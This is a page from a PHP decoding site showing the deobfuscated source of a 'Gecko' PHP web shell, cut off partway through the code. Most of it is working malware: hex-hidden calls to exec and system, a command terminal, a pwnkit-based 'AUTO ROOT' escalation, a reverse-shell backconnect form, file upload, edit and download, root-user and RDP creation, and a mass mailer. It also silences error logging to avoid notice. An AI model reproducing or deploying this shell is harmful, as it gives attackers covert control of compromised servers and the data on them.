Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"GLOBALS"}["monxldgljxy"] = "info"; ${"GLOBALS"}["pngmwpjtmv"] = "perms"; ${"GLO..
Decoded Output download
<?php ${"GLOBALS"}["monxldgljxy"] = "info";
${"GLOBALS"}["pngmwpjtmv"] = "perms";
${"GLOBALS"}["dovrqa"] = "namaNya";
${"GLOBALS"}["lbyicpdehf"] = "extensi";
${"GLOBALS"}["jkvogdqevb"] = "value";
${"GLOBALS"}["jstwslbijjl"] = "winVal";
${"GLOBALS"}["udlkwqjgtd"] = "winNum";
${"GLOBALS"}["uewssmzs"] = "winArr";
${"GLOBALS"}["exlsji"] = "pch";
${"GLOBALS"}["jqggucyqgs"] = "FILES";
${"GLOBALS"}["xoquwji"] = "readDir";
${"GLOBALS"}["binikfz"] = "openDir";
${"GLOBALS"}["yhyjnfqmr"] = "dir";
${"GLOBALS"}["qsodwt"] = "dirs";
${"GLOBALS"}["giwwwjjtimb"] = "tex3";
${"GLOBALS"}["xsawvgb"] = "tex4";
${"GLOBALS"}["xoatcvs"] = "tex2";
${"GLOBALS"}["onliotc"] = "tex1";
${"GLOBALS"}["fwcvgggob"] = "tex";
${"GLOBALS"}["tsrbiic"] = "exec";
${"GLOBALS"}["mvopnjandgf"] = "pipes";
${"GLOBALS"}["wcpxltgifs"] = "f";
${"GLOBALS"}["fwfhddvy"] = "out";
${"GLOBALS"}["cijpogbgu"] = "in";
${"GLOBALS"}["rlhhhuomf"] = "re";
${"GLOBALS"}["gdpdzhana"] = "dom";
${"GLOBALS"}["ypdcsham"] = "domains";
${"GLOBALS"}["buofmousj"] = "d0main";
${"GLOBALS"}["tmkiaxedyo"] = "count";
${"GLOBALS"}["konmzff"] = "d0mains";
${"GLOBALS"}["vrwldghfh"] = "pl";
${"GLOBALS"}["pcuoxvbv"] = "xpld";
${"GLOBALS"}["ivutmpeftk"] = "xplod";
${"GLOBALS"}["dmqscsrrxg"] = "uname";
${"GLOBALS"}["srkuxtmbwph"] = "n";
${"GLOBALS"}["uttudimpo"] = "y";
${"GLOBALS"}["ngifmqy"] = "bytes";
${"GLOBALS"}["betjytbof"] = "types";
${"GLOBALS"}["lpvkshtewk"] = "procMailSmTp";
${"GLOBALS"}["tbpcvx"] = "messageMail";
${"GLOBALS"}["dmfsqsfrmbv"] = "emailFrom";
${"GLOBALS"}["jtecjf"] = "headersMail";
${"GLOBALS"}["fskuptrbqq"] = "emailSubject";
${"GLOBALS"}["icbzeo"] = "emailTo";
${"GLOBALS"}["snefspybou"] = "userRDP";
${"GLOBALS"}["yinfjmegypy"] = "hndlers";
${"GLOBALS"}["dqkrxoh"] = "flesName";
${"GLOBALS"}["miscolyhduf"] = "password";
${"GLOBALS"}["koisfmemk"] = "username";
${"GLOBALS"}["uaarvdwkim"] = "chFiles";
${"GLOBALS"}["mqnmtlzvstdb"] = "renameFile";
${"GLOBALS"}["ujnfzmr"] = "namaFile";
${"GLOBALS"}["wcjqjgw"] = "NamaFolder";
${"GLOBALS"}["sxwndnpdijt"] = "rmfile";
${"GLOBALS"}["hektwrrl"] = "rmdir";
${"GLOBALS"}["nrcugmld"] = "fd";
${"GLOBALS"}["kuphbgrlczg"] = "repl";
${"GLOBALS"}["iminkwh"] = "it";
${"GLOBALS"}["jyzluwxvn"] = "items";
${"GLOBALS"}["xusktnvbnjby"] = "URL";
${"GLOBALS"}["cbbnsxlolny"] = "put_htt";
${"GLOBALS"}["cpowqrgjnf"] = "CurrentFile";
${"GLOBALS"}["cbuxechbfwy"] = "htaccess";
${"GLOBALS"}["dbbudshjycm"] = "DOC_ROOT";
${"GLOBALS"}["ikchyqomiv"] = "tmpName";
${"GLOBALS"}["oaozwlw"] = "namaFilenya";
${"GLOBALS"}["rkgfykokmyu"] = "handler";
${"GLOBALS"}["dbqsqfmq"] = "TmpNames";
${"GLOBALS"}["prsrvsm"] = "curFile";
${"GLOBALS"}["vbysbyqmoir"] = "connt";
${"GLOBALS"}["onmtulj"] = "PortServer";
${"GLOBALS"}["asqxyupgfaa"] = "HostServer";
${"GLOBALS"}["amngmdwfyiog"] = "r_text";
${"GLOBALS"}["jwssnyah"] = "response";
${"GLOBALS"}["esxgnddkg"] = "_F";
${"GLOBALS"}["vmjijohl"] = "file_manager";
${"GLOBALS"}["bqmtaotu"] = "_D";
${"GLOBALS"}["vyhvnhuhq"] = "val";
${"GLOBALS"}["lffhkvqq"] = "id";
${"GLOBALS"}["xyutvvejxbp"] = "cwd";
${"GLOBALS"}["vxmzbcu"] = "pwd";
${"GLOBALS"}["kfyvkqjqhe"] = "get_cwd";
${"GLOBALS"}["kzarkwcnynf"] = "file";
${"GLOBALS"}["zqejxwgm"] = "_D";
${"GLOBALS"}["ffhwthehfke"] = "fungsi";
${"GLOBALS"}["xnusza"] = "cdir";
${"GLOBALS"}["lgjstiud"] = "i";
${"GLOBALS"}["sjhbwakjsff"] = "cwd";
${"GLOBALS"}["ieewxhkph"] = "fungsi";
${"GLOBALS"}["golctxwuyq"] = "Array";
session_start();
@set_time_limit(0);
@clearstatcache();
$rtgbutmnyf = "hitung_array";
@ini_set("error_log", NULL);
$acqvczjfsw = "hitung_array";
$mxwgkxhrdlp = "Array";
${"GLOBALS"}["hgqqdcnbo"] = "fungsi";
@ini_set("log_errors", 0);
$bguvgwj = "i";
@ini_set("max_execution_time", 0);
${"GLOBALS"}["klevplx"] = "i";
${"GLOBALS"}["mkbsmuux"] = "i";
@ini_set("output_buffering", 0);
@ini_set("display_errors", 0);
${$mxwgkxhrdlp} = ["676574637764", "676c6f62", "69735f646972", "69735f66696c65", "69735f7772697461626c65", "69735f7265616461626c65", "66696c657065726d73", "66696c65", "7068705f756e616d65", "6765745f63757272656e745f75736572", "68746d6c7370656369616c6368617273", "66696c655f6765745f636f6e74656e7473", "6d6b646972", "746f756368", "6368646972", "72656e616d65", "65786563", "7061737374687275", "73797374656d", "7368656c6c5f65786563", "706f70656e", "70636c6f7365", "73747265616d5f6765745f636f6e74656e7473", "70726f635f6f70656e", "756e6c696e6b", "726d646972", "666f70656e", "66636c6f7365", "66696c655f7075745f636f6e74656e7473", "6d6f76655f75706c6f616465645f66696c65", "63686d6f64", "7379735f6765745f74656d705f646972",];
${$rtgbutmnyf} = count(${${"GLOBALS"}["golctxwuyq"]});
for (${${"GLOBALS"}["mkbsmuux"]} = 0; ${${"GLOBALS"}["klevplx"]} < ${$acqvczjfsw}; ${$bguvgwj}++) {
${"GLOBALS"}["kxwhluunpdho"] = "Array";
${"GLOBALS"}["itqour"] = "fungsi";
${${"GLOBALS"}["itqour"]}[] = unx(${${"GLOBALS"}["kxwhluunpdho"]}[${${"GLOBALS"}["lgjstiud"]}]);
}
if (isset($_GET["d"])) {
${"GLOBALS"}["ctopgggqijwm"] = "cdir";
${"GLOBALS"}["pltcmqfftfd"] = "fungsi";
${${"GLOBALS"}["ctopgggqijwm"]} = unx($_GET["d"]);
${${"GLOBALS"}["pltcmqfftfd"]}[14](${${"GLOBALS"}["xnusza"]});
} else {
${"GLOBALS"}["tpidojk"] = "cdir";
${${"GLOBALS"}["tpidojk"]} = ${${"GLOBALS"}["ffhwthehfke"]}[0]();
}
function download($file)
{
$turugrx = "file";
if (file_exists(${$turugrx})) {
${"GLOBALS"}["zrmknqrpmx"] = "file";
header("Content-Description: File Transfer");
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=" . basename(${${"GLOBALS"}["kzarkwcnynf"]}));
header("Content-Transfer-Encoding: binary");
header("Expires: 0");
header("Cache-Control: must-revalidate");
header("Pragma: public");
header("Content-Length: " . filesize(${${"GLOBALS"}["kzarkwcnynf"]}));
ob_clean();
flush();
readfile(${${"GLOBALS"}["zrmknqrpmx"]});
exit;
}
}
$osmpjecx = "fungsi";
if ($_GET["don"] == true) {
$eosbdtuwthkl = "FilesDon";
${$eosbdtuwthkl} = download(unx($_GET["don"]));
}
echo "<!DOCTYPE html>
<html lang=\"en\">
<head>
<meta charset=\"UTF-8\">
<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">
<title>Gecko [ ";
$rwpmbk = "file_manager";
echo $_SERVER["SERVER_NAME"];
echo " ]</title>
<script src='https://kit.fontawesome.com/057b9b510c.js' crossorigin='anonymous'></script>
<script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.6.1/jquery.min.js\"></script>
<script src=\"//cdn.jsdelivr.net/npm/sweetalert2@11\"></script>
<style>
.btn-submit,
a {
text-decoration: none;
color: #fff
}
a,
body {
color: #fff
}
.btn-submit,
.form-file,
tbody tr:nth-child(2n) {
background-color: #22242d
}
.code-editor,
.modal,
.terminal {
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0
}
.code-editor-body textarea,
.terminal-body textarea {
width: 98.5%;
height: 400px;
font-size: smaller;
resize: none
}
.menu-tools li,
.terminal-body li,
.terminal-head li {
display: inline-block
}
body {
background-color: #0e0f17;
font-family: monospace
}
.btn-modal-close:hover,
.btn-submit:hover,
.menu-file-manager ul,
.path-pwd,
thead {
background-color: #2e313d
}
ul {
list-style: none
}
.menu-header li {
padding: 5px 0
}
.menu-header ul li {
font-weight: 700;
font-style: italic
}
.btn-submit {
padding: 7px 25px;
border: 2px solid grey;
border-radius: 4px
}
.form-file,
a:hover {
color: #c5c8d6
}
.btn-submit:hover {
border: 2px solid #c5c8d6
}
.form-upload {
margin: 10px 0
}
.form-file {
border: 2px solid grey;
padding: 7px 20px;
border-radius: 4px
}
.menu-tools {
width: 95%
}
.menu-tools li {
margin: 15px 0
}
.menu-file-manager,
.modal-mail-text {
margin: 10px 40px
}
.menu-file-manager li {
display: inline-block;
margin: 15px 20px
}
.menu-file-manager li a::after {
content: \"\";
display: block;
border-bottom: 1px solid #fff
}
.path-pwd {
padding: 15px 0;
margin: 5px 0
}
table {
border-radius: 5px
}
thead {
height: 35px
}
tbody tr td {
padding: 10px 0
}
tbody tr td:nth-child(2),
tbody tr td:nth-child(3),
tbody tr td:nth-child(4) {
text-align: center
}
::-webkit-scrollbar {
width: 16px
}
::-webkit-scrollbar-track {
background: #0e0f17
}
::-webkit-scrollbar-thumb {
background: #22242d;
border: 2px solid #555;
border-radius: 4px
}
::-webkit-scrollbar-thumb:hover {
background: #555
}
::-webkit-file-upload-button {
display: none
}
.modal {
display: none;
z-index: 2;
width: 100%;
background-color: rgba(0, 0, 0, .3)
}
.modal-container {
animation-name: modal-pop-out;
animation-duration: .7s;
animation-fill-mode: both;
margin: 10% auto auto;
border-radius: 10px;
width: 800px;
background-color: #f4f4f9
}
@keyframes modal-pop-out {
from {
opacity: 0
}
to {
opacity: 1
}
}
.modal-header {
color: #000;
margin-left: 30px;
padding: 10px
}
.modal-body,
.terminal-head li {
color: #000
}
.modal-create-input {
width: 700px;
padding: 10px 5px;
background-color: #f4f4f9;
margin: 0 5%;
border: none;
border-radius: 4px;
box-shadow: 8px 8px 20px rgba(0, 0, 0, .2);
border-bottom: 2px solid #0e0f17
}
.box-shadow {
box-shadow: 8px 8px 8px rgba(0, 0, 0, .2)
}
.btn-modal-close {
background-color: #22242d;
color: #fff;
border: none;
border-radius: 4px;
padding: 8px 35px
}
.badge-action-chmod:hover::after,
.badge-action-download:hover::after,
.badge-action-editor:hover::after {
padding: 5px;
border-radius: 5px;
margin-left: 110px;
background-color: #2e313d
}
.modal-btn-form {
margin: 15px 0;
padding: 10px;
text-align: right
}
.file-size {
color: orange
}
.badge-root::after {
content: \"root\";
display: block;
position: absolute;
width: 40px;
text-align: center;
margin-top: -30px;
margin-left: 110px;
border-radius: 4px;
background-color: red
}
.badge-action-chmod:hover::after,
.badge-action-download:hover::after,
.badge-action-editor:hover::after,
.badge-linux::after,
.badge-windows::after {
width: 60px;
text-align: center;
margin-top: -30px;
display: block;
position: absolute
}
.badge-windows::after {
background-color: orange;
color: #000;
margin-left: 100px;
border-radius: 4px;
content: \"windows\"
}
.badge-linux::after {
margin-left: 100px;
border-radius: 4px;
background-color: #0047a3;
content: \"linux\"
}
.badge-action-editor:hover::after {
content: \"Rename\"
}
.badge-action-chmod:hover::after {
content: \"Chmod\"
}
.badge-action-download:hover::after {
content: \"Download\"
}
.code-editor,
.terminal {
background-color: rgba(0, 0, 0, .3);
width: 100%
}
.code-editor-container {
background-color: #f4f4f9;
color: #000;
width: 95%;
margin: 40px auto auto;
border-radius: 10px
}
.code-editor-head {
padding: 15px;
font-weight: 700
}
.code-editor-body textarea {
border-radius: 4px;
margin: 0 4px;
background-color: #22242d;
color: #fff
}
.terminal-container {
animation: .5s both modal-pop-out;
width: 90%;
background-color: #f4f4f9;
margin: 25px auto auto;
color: #000;
border-radius: 4px
}
.bc-gecko,
.mail,
.terminal-input {
background-color: #22242d;
color: #fff
}
.terminal-head {
padding: 8px
}
.terminal-head li a {
color: #000;
position: absolute;
right: 0;
margin-right: 110px;
font-weight: 700;
margin-top: -20px;
font-size: 25px;
padding: 1px 10px
}
.terminal-body textarea {
margin: 4px;
background-color: #22242d;
color: #29db12;
border-radius: 4px
}
.active {
display: block
}
.terminal-input {
width: 500px;
padding: 6px;
border: 1px solid #22242d;
border-radius: 4px;
margin: 5px 0
}
.bc-gecko {
border: none;
padding: 7px 10px;
width: 712px;
border-radius: 5px;
margin: 15px 40px
}
.mail {
width: 705px;
resize: none;
height: 100px
}
.logo-gecko {
position: absolute;
top: -90px;
right: 40px;
z-index: -1;
bottom: 0
}
</style>
</head>
<body>
<div class=\"menu-header\">
<ul>
<li><i class=\"fa-solid fa-computer\"></i> ";
echo ${${"GLOBALS"}["ffhwthehfke"]}[8]();
echo "</li>
<li><i class=\"fa-solid fa-server\"></i> ";
echo $_SERVER["SERVER_SOFTWARE"];
echo "</li>
<li><i class=\"fa-solid fa-network-wired\"></i> : ";
echo $_SERVER["SERVER_ADDR"];
$lecukigzx = "fungsi";
echo " | : ";
$nvyhfnwr = "_F";
echo $_SERVER["REMOTE_ADDR"];
echo "</li>
<li><i class=\"fa-solid fa-globe\"></i> ";
${"GLOBALS"}["kervsci"] = "fungsi";
echo s();
$lcrxzgnhus = "fungsi";
echo "</li>
<li><i class=\"fa-brands fa-php\"></i> ";
${"GLOBALS"}["pgiheeqzb"] = "file_manager";
echo PHP_VERSION;
$gottpehq = "val";
echo "</li>
<li><i class=\"fa-solid fa-user\"></i> ";
echo ${${"GLOBALS"}["ieewxhkph"]}[9]();
echo "</li>
<li class=\"logo-gecko\"><img width=\"400\" height=\"400\" src=\"https://raw.githubusercontent.com/MadExploits/Gecko/main/gecko1.png\" align=\"right\"></li>
<form action=\"\" method=\"post\" enctype='";
echo "multipart/form-data";
echo "'>
<li class=\"form-upload\"><input type=\"submit\" value=\"Upload\" name=\"gecko-up-submit\" class=\"btn-submit\"> <input type=\"file\" name=\"gecko-upload\" class=\"form-file\"></li>
</form>
</ul>
</div>
<div class=\"menu-tools\">
<ul>
<li><a href=\"?d=";
echo hx(${${"GLOBALS"}["hgqqdcnbo"]}[0]());
echo "&terminal=normal\" class=\"btn-submit\">Terminal</a></li>
<li><a href=\"?d=";
echo hx(${${"GLOBALS"}["ffhwthehfke"]}[0]());
echo "&terminal=root\" class=\"btn-submit badge-root\">AUTO ROOT</a></li>
<li><a href=\"?d=";
echo hx(${${"GLOBALS"}["ffhwthehfke"]}[0]());
echo "&adminer\" class=\"btn-submit\">Adminer</a></li>
<li><a href=\"?d=";
echo hx(${$lecukigzx}[0]());
echo "&destroy\" class=\"btn-submit\">Backdoor Destroyer</a></li>
<li><a href=\"//www.exploit-db.com/search?q=Linux%20Kernel%20";
echo suggest_exploit();
echo "\" class=\"btn-submit\">Linux Exploit</a></li>
<li><a href=\"?d=";
echo hx(${${"GLOBALS"}["ffhwthehfke"]}[0]());
echo "&lockshell\" class=\"btn-submit\">Lock Shell</a></li>
<li><a href=\"\" class=\"btn-submit badge-linux\" id=\"lock-file\">Lock File</a></li>
<li><a href=\"\" class=\"btn-submit badge-root\" id=\"root-user\">Create User</a></li>
<li><a href=\"\" class=\"btn-submit\" id=\"create-rdp\">CREATE RDP</a></li>
<li><a href=\"?d=";
echo hx(${$lcrxzgnhus}[0]());
echo "&mailer\" class=\"btn-submit\">PHP Mailer</a></li>
<li><a href=\"?d=";
echo hx(${${"GLOBALS"}["kervsci"]}[0]());
echo "&backconnect\" class=\"btn-submit\">BACKCONNECT</a></li>
<li><a href=\"//hashes.com/en/tools/hash_identifier\" class=\"btn-submit\">HASH IDENTIFIER</a></li>
<li><a href=\"//github.com/MadExploits/\" class=\"btn-submit\">README</a></li>
</ul>
</div>
";
${$rwpmbk} = ${${"GLOBALS"}["ffhwthehfke"]}[1]("{.[!.],}*", GLOB_BRACE);
${${"GLOBALS"}["kfyvkqjqhe"]} = ${$osmpjecx}[0]();
echo "
<div class=\"menu-file-manager\">
<ul>
<li><a href=\"\" id=\"create_folder\">+ Create Folder</a></li>
<li><a href=\"\" id=\"create_file\">+ Create File</a></li>
</ul>
<div class=\"path-pwd\">
";
${${"GLOBALS"}["sjhbwakjsff"]} = str_replace("\", "/", ${${"GLOBALS"}["kfyvkqjqhe"]});
${${"GLOBALS"}["vxmzbcu"]} = explode("/", ${${"GLOBALS"}["xyutvvejxbp"]});
if (stristr(PHP_OS, "WIN")) {
windowsDriver();
}
foreach (${${"GLOBALS"}["vxmzbcu"]} as ${${"GLOBALS"}["lffhkvqq"]} => ${$gottpehq}) {
$hdjcksofof = "id";
${"GLOBALS"}["pmegcfxz"] = "val";
${"GLOBALS"}["pcodmjohbw"] = "val";
$ogkevkmod = "i";
$jndbnlr = "i";
${"GLOBALS"}["iqxlwtwoy"] = "id";
if (${${"GLOBALS"}["pcodmjohbw"]} == "" && ${$hdjcksofof} == 0) {
echo " <a href=\"?d=" . hx("/") . "\"><i class=\"fa-solid fa-folder-plus\"></i> / </a>";
continue;
}
if (${${"GLOBALS"}["vyhvnhuhq"]} == "") continue;
echo "<a href=\"?d=";
for (${$jndbnlr} = 0; ${$ogkevkmod} <= ${${"GLOBALS"}["iqxlwtwoy"]}; ${${"GLOBALS"}["lgjstiud"]}++) {
${"GLOBALS"}["mjsuijgwp"] = "i";
$kcxyoxiwqa = "i";
echo hx(${${"GLOBALS"}["vxmzbcu"]}[${$kcxyoxiwqa}]);
if (${${"GLOBALS"}["mjsuijgwp"]} != ${${"GLOBALS"}["lffhkvqq"]}) echo hx("/");
}
echo "\">" . ${${"GLOBALS"}["pmegcfxz"]} . " / " . "</a>";
}
echo "<a style='font-weight:bold; color:orange;' href='?d=" . hx(__DIR__) . "'>[ HOME SHELL ]</a> ";
echo " </div>
</ul>
<table style=\"width: 100%;\">
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Permission</th>
<th>Action</th>
</tr>
</thead>
<form action=\"\" method=\"post\">
<tbody>
<!-- Gecko Folder File Manager -->
";
foreach (${${"GLOBALS"}["pgiheeqzb"]} as ${${"GLOBALS"}["zqejxwgm"]}) {
$eypgmvdff = "_D";
echo " ";
${"GLOBALS"}["wggctilj"] = "fungsi";
if (${${"GLOBALS"}["wggctilj"]}[2](${$eypgmvdff})) {
echo " <tr>
<td><input type=\"checkbox\" name=\"check[]\" value=\"";
echo ${${"GLOBALS"}["bqmtaotu"]};
echo "\"> <i class=\"fa-solid fa-folder-open\" style=\"color:orange;\"></i> <a href=\"?d=";
${"GLOBALS"}["brkubgp"] = "fungsi";
$iyqrddhpfiu = "fungsi";
$ifufuslkyoo = "_D";
$fxobkafri = "fungsi";
echo hx(${${"GLOBALS"}["brkubgp"]}[0]() . "/" . ${${"GLOBALS"}["bqmtaotu"]});
echo "\">";
echo namaPanjang(${$ifufuslkyoo});
$mwcvnfi = "fungsi";
echo "</a></td>
<td>[ DIR ]</td>
<td>
";
$ebsmmpp = "_D";
${"GLOBALS"}["qkbtyofok"] = "fungsi";
${"GLOBALS"}["wrmmalcrsp"] = "_D";
if (${$mwcvnfi}[4](${${"GLOBALS"}["ffhwthehfke"]}[0]() . "/" . ${${"GLOBALS"}["bqmtaotu"]})) {
echo "<font color=\"#00ff00\">";
} elseif (!${${"GLOBALS"}["ffhwthehfke"]}[5](${${"GLOBALS"}["ffhwthehfke"]}[0]() . "/" . ${${"GLOBALS"}["bqmtaotu"]})) {
echo "<font color=\"red\">";
}
echo perms(${$fxobkafri}[0]() . "/" . ${$ebsmmpp});
echo " </td>
<!-- Action Folder Manager -->
<td><a href=\"?d=";
echo hx(${$iyqrddhpfiu}[0]());
echo "&re=";
echo hx(${${"GLOBALS"}["bqmtaotu"]});
echo "\" class=\"badge-action-editor\"><i class=\"fa-solid fa-pen-to-square\"></i></a> <a href=\"?d=";
echo hx(${${"GLOBALS"}["qkbtyofok"]}[0]());
echo "&ch=";
echo hx(${${"GLOBALS"}["wrmmalcrsp"]});
echo "\" class=\"badge-action-chmod\"><i class=\"fa-solid fa-user-pen\"></i></a></td>
</tr>
";
}
echo "
";
}
echo "
<!-- Gecko Files Manager -->
";
foreach (${${"GLOBALS"}["vmjijohl"]} as ${$nvyhfnwr}) {
echo " ";
if (${${"GLOBALS"}["ffhwthehfke"]}[3](${${"GLOBALS"}["esxgnddkg"]})) {
$sgufjk = "fungsi";
echo " <tr>
<td><input type=\"checkbox\" name=\"check[]\" value=\"";
echo ${${"GLOBALS"}["esxgnddkg"]};
echo "\"> <i class=\"fa-solid fa-file-lines\"></i> <a href=\"?d=";
${"GLOBALS"}["tmleytrjw"] = "_F";
echo hx(${$sgufjk}[0]());
$ipcqmbmx = "_F";
${"GLOBALS"}["gwbydyjbdtf"] = "_F";
$dcljqludtnrh = "fungsi";
echo "&f=";
echo hx(${$ipcqmbmx});
${"GLOBALS"}["ydicfks"] = "_F";
$lbyowuwnmcqj = "_F";
${"GLOBALS"}["nrbcjsbx"] = "_F";
echo "\" class=\"gecko-files\">";
echo namaPanjang(${${"GLOBALS"}["gwbydyjbdtf"]});
echo "</a></td>
<td>";
echo formatSize(filesize(${${"GLOBALS"}["ydicfks"]}));
echo "</td>
<td>
";
if (is_writable(${$dcljqludtnrh}[0]() . "/" . ${${"GLOBALS"}["bqmtaotu"]})) {
echo "<font color=\"#00ff00\">";
} elseif (!is_readable(${${"GLOBALS"}["ffhwthehfke"]}[0]() . "/" . ${${"GLOBALS"}["tmleytrjw"]})) {
echo "<font color=\"red\">";
}
echo perms(${${"GLOBALS"}["ffhwthehfke"]}[0]() . "/" . ${${"GLOBALS"}["esxgnddkg"]});
echo " </td>
<!-- Action File Manager -->
<td><a href=\"?d=";
echo hx(${${"GLOBALS"}["ffhwthehfke"]}[0]());
echo "&re=";
echo hx(${${"GLOBALS"}["nrbcjsbx"]});
echo "\" class=\"badge-action-editor\"><i class=\"fa-solid fa-pen-to-square\"></i></a> <a href=\"?d=";
echo hx(${${"GLOBALS"}["ffhwthehfke"]}[0]());
$klnvwfgithm = "_F";
echo "&ch=";
echo hx(${$lbyowuwnmcqj});
echo "\" class=\"badge-action-chmod\"><i class=\"fa-solid fa-user-pen\"></i></a> <a href=\"?d=";
echo hx(${${"GLOBALS"}["ffhwthehfke"]}[0]());
echo "&don=";
echo hx(${$klnvwfgithm});
echo "\" class=\"badge-action-download\"><i class=\"fa-solid fa-download\"></i></a></td>
</tr>
";
}
echo "
";
}
echo "
</tbody>
</table>
<br>
<select name=\"gecko-select\" class=\"btn-submit\">
<option value=\"delete\">Delete</option>
<option value=\"unzip\">Unzip</option>
<option value=\"zip\">Zip</option><br>
</select>
<input type=\"submit\" name=\"submit-action\" value=\"Submit\" class=\"btn-submit\" style=\"padding: 8.3px 35px;\">
</form>
<!-- Modal Pop Jquery Create Folder/File By ./MrMad -->
<div class=\"modal\">
<div class=\"modal-container\">
<div class=\"modal-header\">
<h3><b><i id=\"modal-title\">\${this.title}</i></b></h3>
</div>
<form action=\"\" method=\"post\">
<div class=\"modal-body\">
<div id=\"modal-body-bc\"></div>
<span id=\"modal-input\"></span>
<div class=\"modal-btn-form\">
<input type=\"submit\" name=\"submit\" value=\"Submit\" class=\"btn-modal-close box-shadow\"> <button class=\"btn-modal-close box-shadow\" id=\"close-modal\">Close</button>
</div>
</form>
</div>
</div>
</div>
</div>
";
if (isset($_GET["backconnect"])) {
$xcthjke = "fungsi";
echo " <div class=\"modal active\">
<div class=\"modal-container\">
<div class=\"modal-header\">
<h3><b><i id=\"modal-title\">:: Backconnect</i></b></h3>
</div>
<form action=\"\" method=\"post\">
<div class=\"modal-body\">
<select class=\"bc-gecko box-shadow\" name=\"gecko-bc\">
<option value=\"-\">Choose Backconnect</option>
<option value=\"perl\">Perl</option>
<option value=\"python\">Python</option>
<option value=\"ruby\">Ruby</option>
<option value=\"bash\">Bash</option>
<option value=\"php\">php</option>
<option value=\"nc\">nc</option>
<option value=\"sh\">sh</option>
<option value=\"xterm\">Xterm</option>
<option value=\"golang\">Golang</option>
</select>
<input type=\"text\" name=\"backconnect-host\" class=\"modal-create-input\" placeholder=\"127.0.0.1\">
<br><br>
<input type=\"number\" name=\"backconnect-port\" class=\"modal-create-input\" placeholder=\"1337\">
<div class=\"modal-btn-form\">
<input type=\"submit\" name=\"submit-bc\" value=\"Submit\" class=\"btn-modal-close box-shadow\"> <a class=\"btn-modal-close box-shadow\" href=\"?d=";
echo hx(${$xcthjke}[0]());
echo "\">Close</a>
</div>
</form>
</div>
</div>
";
}
echo "
";
if (isset($_GET["mailer"])) {
echo " <div class=\"modal active\">
<div class=\"modal-container\">
<div class=\"modal-header\">
<h3><b><i id=\"modal-title\">:: PHP Mailer</i></b></h3>
</div>
<form action=\"\" method=\"post\">
<div class=\"modal-body\">
<div class=\"modal-isi\">
<form action=\"\" method=\"post\">
<div class=\"modal-mail-text\">
<textarea name=\"message-smtp\" class=\"box-shadow mail\" placeholder=\" Your Text here!\"></textarea>
</div>
<br>
<input type=\"text\" name=\"mailto-subject\" class=\"modal-create-input\" placeholder=\"Subject\">
<br><br>
<input type=\"email\" name=\"mail-from-smtp\" class=\"modal-create-input\" placeholder=\"from : [email protected]\">
<br><br>
<input type=\"email\" name=\"mail-to-smtp\" class=\"modal-create-input\" placeholder=\"to : [email protected]\">
</div>
<div class=\"modal-btn-form\">
<input type=\"submit\" name=\"submit\" value=\"Submit\" class=\"btn-modal-close box-shadow\"> <a class=\"btn-modal-close box-shadow\" href=\"?d=";
echo hx(${${"GLOBALS"}["ffhwthehfke"]}[0]());
echo "\">Close</a>
</div>
</form>
</div>
</div>
";
}
echo "
";
if ($_GET["f"]) {
$jfdgpbotbww = "fungsi";
${"GLOBALS"}["epkpgzae"] = "fungsi";
echo " <div class=\"code-editor\">
<div class=\"code-editor-container\">
<div class=\"code-editor-head\">
<h3><i class=\"fa-solid fa-code\"></i> Code Editor : ";
${"GLOBALS"}["jwugaqknwg"] = "fungsi";
echo unx($_GET["f"]);
echo "</h3>
</div>
<div class=\"code-editor-body\">
<form action=\"\" method=\"post\">
<textarea name=\"code-editor\" class=\"box-shadow\" autofocus>";
echo ${$jfdgpbotbww}[10](${${"GLOBALS"}["jwugaqknwg"]}[11](${${"GLOBALS"}["epkpgzae"]}[0]() . "/" . unx($_GET["f"])));
echo "</textarea>
<div class=\"modal-btn-form\">
<input type=\"submit\" name=\"save-editor\" value=\"Save\" class=\"btn-modal-close\"> <button class=\"btn-modal-close\" id=\"close-editor\">Close</button>
</div>
</form>
</div>
</div>
</div>
";
}
echo "
";
if ($_GET["terminal"] == "normal") {
echo " <div class=\"terminal\">
<div class=\"terminal-container\">
<div class=\"terminal-head\">
<ul>
<li id=\"terminal-title\"><b><i class=\"fa-solid fa-terminal\"></i> TERMINAL</b></li>
<li><a href=\"\" class=\"close-terminal\"><i class=\"fa-solid fa-right-from-bracket\"></i></a></li>
</ul>
</div>
<div class=\"terminal-body\">
<textarea class=\"box-shadow\" disabled>";
if (isset($_POST["terminal"])) {
$pphasmnqntu = "fungsi";
echo ${$pphasmnqntu}[10](cmd($_POST["terminal-text"] . " 2>&1"));
}
${"GLOBALS"}["kcskwynjd"] = "fungsi";
echo "</textarea>
<form action=\"\" method=\"post\">
<ul>
<li><input type=\"text\" name=\"terminal-text\" class=\"terminal-input box-shadow\" placeholder=\"";
echo ${${"GLOBALS"}["kcskwynjd"]}[9]() . "@" . $_SERVER["SERVER_ADDR"];
echo "\" autofocus></li>
<li><input type=\"submit\" name=\"terminal\" value=\">\" class=\"btn-modal-close\"></li>
</ul>
</form>
</div>
</div>
</div>
";
}
echo "
";
if ($_GET["terminal"] == "root") {
echo " <div class=\"terminal\">
<div class=\"terminal-container\">
<div class=\"terminal-head\">
<ul>
<li id=\"terminal-title\"><b><i class=\"fa-solid fa-terminal\"></i> AUTO ROOT</b></li>
<li><a href=\"\" class=\"close-terminal\"><i class=\"fa-solid fa-right-from-bracket\"></i></a></li>
</ul>
</div>
<div class=\"terminal-body\">
<textarea name=\"\" disabled>";
${"GLOBALS"}["wrfwfgou"] = "fungsi";
if (${${"GLOBALS"}["ffhwthehfke"]}[3](".mad-root") && ${${"GLOBALS"}["wrfwfgou"]}[3]("pwnkit")) {
$jhopjncmf = "r_text";
${"GLOBALS"}["dtvjehxslq"] = "fungsi";
${${"GLOBALS"}["jwssnyah"]} = ${${"GLOBALS"}["dtvjehxslq"]}[11](".mad-root");
${${"GLOBALS"}["amngmdwfyiog"]} = explode(" ", ${${"GLOBALS"}["jwssnyah"]});
if (${$jhopjncmf}[0] == "uid=0(root)") {
if (isset($_POST["submit-root"])) {
echo cmd("./pwnkit \"" . $_POST["root-terminal"] . " 2>&1\"");
}
} else {
echo "This Device Is Not Vulnerable
";
echo cmd("lsb_release -a") . "
";
echo "Kernel Version : " . suggest_exploit() . "
";
}
} else {
